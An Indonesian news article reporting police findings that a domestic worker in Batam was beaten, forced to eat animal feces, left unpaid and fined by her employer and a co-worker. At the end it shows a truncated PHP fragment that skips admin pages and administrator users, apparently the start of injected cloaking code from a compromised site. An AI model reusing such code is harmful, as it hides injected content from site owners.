Kriminal

Penyiksaan Kejam Sering Diterima, Intan Bahkan Dipaksa Makan Kotoran Hewan

×

Penyiksaan Kejam Sering Diterima, Intan Bahkan Dipaksa Makan Kotoran Hewan

Sebarkan artikel ini

BATAM-KEPULAUAN RIAU, MENARASUMBA.COM – Fakta baru nan mengejutkan dalam kasus penyiksaan terhadap Asisten Rumah Tangga (ART) di Kota Batam, Kepulauan Riau mulai terkuak.

Dia tersangka pelaku penyiksaan terhadap Intan, R majikan korban (kanan) dan M rekan kerja korban (kiri).

Menurut penjelasan Kasat Reskrim Polresta Barelang, AKP Denny Tri Andrestian, Senin (23/06/2025) korban dipaksa memakan kotoran hewan.

“Korban tidak hanya mengalami kekerasan fisik, tetapi juga dipaksa makan kotoran binatang peliharaan majikan,” ujarnya kepada awak media.

Korban juga sama sekali tidak menerima gaji selama hampir satu tahun sejak Juni 2024.

Intan ART asal Kampung Bondo Maroto, Desa Kalimbu Kuni, Kecamatan Loli, Kabupaten Sumba Barat, NTT ini dikenakan denda atas setiap kesalahan kecil.

“Jika telat bangun atau salah memotong daging akan dihitung sebagai pelanggaran dan dikenakan potongan gaji,” sebut Kasat Reskrim Debby Tri Andrestian.

Semua itu dicatat dalam sebuah buku yang kini telah disita polisi sebagai barang bukti.

Selain majikan korban bernama Roslina ada pula rekan korban berinisial M yang diduga turut melakukan penyiksaan dan sudah ditetapkan sebagai tersangka.

“Untuk pelaku M ini dia mengaku dipaksa mengikuti perintah majikan,” katanya lebih lanjut.

Selain penyiksaan yang terjadi berulang kali selama korban bekerja, polisi sedang mendalami juga dugaan pelecehan seksual.

“Ada kekerasan fisik, psikis, dan eksploitasi ekonomi yang dialami korban,” tandasnya. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>